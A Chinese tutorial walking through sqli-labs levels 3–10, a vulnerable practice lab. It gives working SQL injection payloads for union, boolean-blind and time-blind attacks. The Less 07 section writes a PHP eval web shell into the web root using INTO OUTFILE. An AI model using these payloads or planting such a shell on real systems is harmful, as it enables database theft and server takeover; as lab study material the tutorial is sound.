sqli-labs通关攻略教程二(less 03-less-10)

文章目录

  • less 03
  • less 04
  • 基础知识补充
  • less 05(布尔盲注)
  • less 06
  • 基础知识补充
  • less 07
  • less 08
    • 方法1(布尔盲注)
    • 方法2(时间盲注)
  • less 09&&less 10
  • 前十关总结

sqli-labs通关攻略教程一(less 01~less 02)
该靶场数据库版本为 MYSQL,数据库库名为 security

less 03

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "
    ";
    第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。sqli-labs通关攻略教程二(less 03-less-10)_第1张图片
  2. 输入?id=1,发现报错,说明存在sql注入。
    sqli-labs通关攻略教程二(less 03-less-10)_第2张图片
    查看报错原因,则这一关的闭合方式为(''),其余与第一二关的步骤相同。

less 04

  1. 与上一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "
    ";
    第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。sqli-labs通关攻略教程二(less 03-less-10)_第3张图片
  2. 尝试输入?id=1,查看报错的sql语句,我们猜测第四关的闭合方式为(" ")
    sqli-labs通关攻略教程二(less 03-less-10)_第4张图片
  3. 其余查询语句与前三关相同。
    对于前四关总结:基本步骤相同,四关的唯一的区别在于闭合方式的不同。第一关是'',第二关是直接为数字型注入,第三关的闭合方式为(''),第四关是("")

基础知识补充

left(database(),1)='s'

left()函数,left(a,b)从左侧截取a的前b位,正确返回1,错误则返回0
sqli-labs通关攻略教程二(less 03-less-10)_第5张图片

select user() regexp 'r'

regexp()函数,user()的结果是rootregexp为匹配root的正则表达式。 (从左到右匹配)
sqli-labs通关攻略教程二(less 03-less-10)_第6张图片
3.

select user() like 'ro%'

like()函数,与regexp函数相比,多了百分号,但结果几乎相同。匹配与regexp相同。
sqli-labs通关攻略教程二(less 03-less-10)_第7张图片
4.

select substr() xxx

subsrt(a,b,c)函数,从位置b开始,截取a字符串c位长度。sqli-labs通关攻略教程二(less 03-less-10)_第8张图片
5. ascii() 将某个字符串转为ascii

select ascii(substr((select database()),1,1));

select ascii(substr((select database()),1,1))>110;

select ascil('a'

sqli-labs通关攻略教程二(less 03-less-10)_第9张图片
6. chr(数字) ord('字母')
使用python中的两个函数可以判断当前的ascii码值。
sqli-labs通关攻略教程二(less 03-less-10)_第10张图片

less 05(布尔盲注)

  1. 与上一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "
    ";
    第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。sqli-labs通关攻略教程二(less 03-less-10)_第11张图片
  2. 输入?id=1时sqli-labs通关攻略教程二(less 03-less-10)_第12张图片

输入?id=1'时,出现报错,说明存在sql注入sqli-labs通关攻略教程二(less 03-less-10)_第13张图片
sqli-labs通关攻略教程二(less 03-less-10)_第14张图片
3. 使用order by 查询字段sqli-labs通关攻略教程二(less 03-less-10)_第15张图片
sqli-labs通关攻略教程二(less 03-less-10)_第16张图片
结合第二步和第三步,我们发返回结果只有一种,没有账户和密码的输出,因此使用前几关的联合查询不太可行。
4. 使用left()函数来查看数据库的第一位,我们输入id=1' and left((select database()),1)='s'--+,发现没有报错,说明数据库的第一位为ssqli-labs通关攻略教程二(less 03-less-10)_第17张图片
输入?id=1' and left((select database()),2)='sw'--+,没有回显的结果,说明第二个数据库的第二位不是swsqli-labs通关攻略教程二(less 03-less-10)_第18张图片
5. 为了方便,可以使用burpintruder模块,对?id=1' and left((select database()),1)='a'--+中的a添加标记进行暴力破解,可以适当增加线程。sqli-labs通关攻略教程二(less 03-less-10)_第19张图片

sqli-labs通关攻略教程二(less 03-less-10)_第20张图片
以此方法,对后面的所有字母进行爆破,得到数据库为security
6. 也可以采用另外一种方法使用ascii()函数来获得数据库的字符。?id=1' and ascii(substr((select database()),1,1))>114--+sqli-labs通关攻略教程二(less 03-less-10)_第21张图片
sqli-labs通关攻略教程二(less 03-less-10)_第22张图片
以此方法,使用折半法依次判断数据库的每一个字符。

less 06

  1. 与上一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "
    ";
    第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。sqli-labs通关攻略教程二(less 03-less-10)_第23张图片
  2. 第六关与第五关的区别在于,第六关闭合方式为" ",其余步骤相同。sqli-labs通关攻略教程二(less 03-less-10)_第24张图片

基础知识补充

show variables like xxxxx
show variables    //查看服务器配置

sqli-labs通关攻略教程二(less 03-less-10)_第25张图片

show variables like 'secure%';       //查看读写协议

sqli-labs通关攻略教程二(less 03-less-10)_第26张图片
在目录D:\PhpStudy2018\PHPTutorial\MySQL下打开my.ini文件,在其中添加secure_file_priv="/",方便后面学习文件的读和写。sqli-labs通关攻略教程二(less 03-less-10)_第27张图片2. load file() 读取本地文件

select load_file('双斜杠的绝对路径');
  1. into outfile() 写文件
    用法: select 'mysql is very good' into outfile 'test.txt'或者 select 'crow 666' into outfile text.txt;文件位置在MYSQL/data下 。
    要想写入指定文件,即需要select 'crow 666' into outfile '绝对路径\text.txt',但是会对反斜杠进行转义,因此需要把每一个\改为\\

less 07

  1. 与上一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "
    ";
    第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。sqli-labs通关攻略教程二(less 03-less-10)_第28张图片
  2. 输入?id=1,发现闭合方式为((' ')),并提示使用outfile()函数来写。sqli-labs通关攻略教程二(less 03-less-10)_第29张图片
?id=1')) union select 1,2,'crow' into outfile  'D:\\PhpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\text.php'--+


?id=1')) union select 1,2,'<?php @eval($_POST[123])?>' into outfile  'D:\\PhpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\a.php'--+

查看文件中相应文件,发现写入成功。同时使用蚁剑连接,即可连接成功。
4.

IF(condition A,B)  //如果条件condition为true,则执行语句A,否则执行语句B

select if(1>2,4,5);     //返回的结果是5(如果在mysql命令行中使用,首先要use xxx 数据库才可以使用)  

select if(ascii(substr((select database()),1,1))>10,2,3)

sqli-labs通关攻略教程二(less 03-less-10)_第30张图片
sqli-labs通关攻略教程二(less 03-less-10)_第31张图片

less 08

方法1(布尔盲注)

  1. 与上一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "
    ";
    第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。sqli-labs通关攻略教程二(less 03-less-10)_第32张图片
  2. ?id=1,则闭合方式为' 'sqli-labs通关攻略教程二(less 03-less-10)_第33张图片
  3. 使用order by 查询字段数。
  4. 使用left()函数判断数据库的每一位字符或者使用ascii()函数和substr()函数的回显来判断
    sqli-labs通关攻略教程二(less 03-less-10)_第34张图片
    sqli-labs通关攻略教程二(less 03-less-10)_第35张图片

方法2(时间盲注)

  1. 判断存在注入漏洞
?id=1' and sleep(5)--+

sqli-labs通关攻略教程二(less 03-less-10)_第36张图片
没有返回结果,说明存在注入注入漏洞。

?id=1' and if(length(database())=8,1,sleep(10))--+

?id=-1' or if(length(database())=8,1,sleep(10))--+

sqli-labs通关攻略教程二(less 03-less-10)_第37张图片
sqli-labs通关攻略教程二(less 03-less-10)_第38张图片
sqli-labs通关攻略教程二(less 03-less-10)_第39张图片

当数据库长度为8(security)时会很快加载,而为其他值的时候加载较慢(10s左右)。
2.

?id=1' and  if(ascii(substr((select database()),1,1))>110,1,sleep(10))--+

如果当前数据库的第一个字母的ascii码>110,则立刻返回结果,否则延迟10s。
3.

?id=1' and  if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>110,1,sleep(10))--+

判断数据库中的第五个数据库的第一位ascii码是否大于110,是的话快速返回,否则延迟10s。
4. 其余步骤与前几关均相同,使用时间盲注时间成本过高,可以采用burp脚本或者sql盲注脚本使用。

less 09&&less 10

  1. 与上一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "
    ";
    第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。sqli-labs通关攻略教程二(less 03-less-10)_第40张图片
?id=1

sqli-labs通关攻略教程二(less 03-less-10)_第41张图片
说明闭合方式为' '
3. 使用与前几关相同的盲注方法或者其他,即可得到我们想要的结果,推荐使用burp进行操作,节省时间。
4. 第九关与第十关唯一的区别在于闭合方式的不同,第十关的闭合方式为" ",其余方法与第十关相同。sqli-labs通关攻略教程二(less 03-less-10)_第42张图片

前十关总结

前十关均关于urlget请求

你可能感兴趣的:(sqli-labs靶场通关,mysql)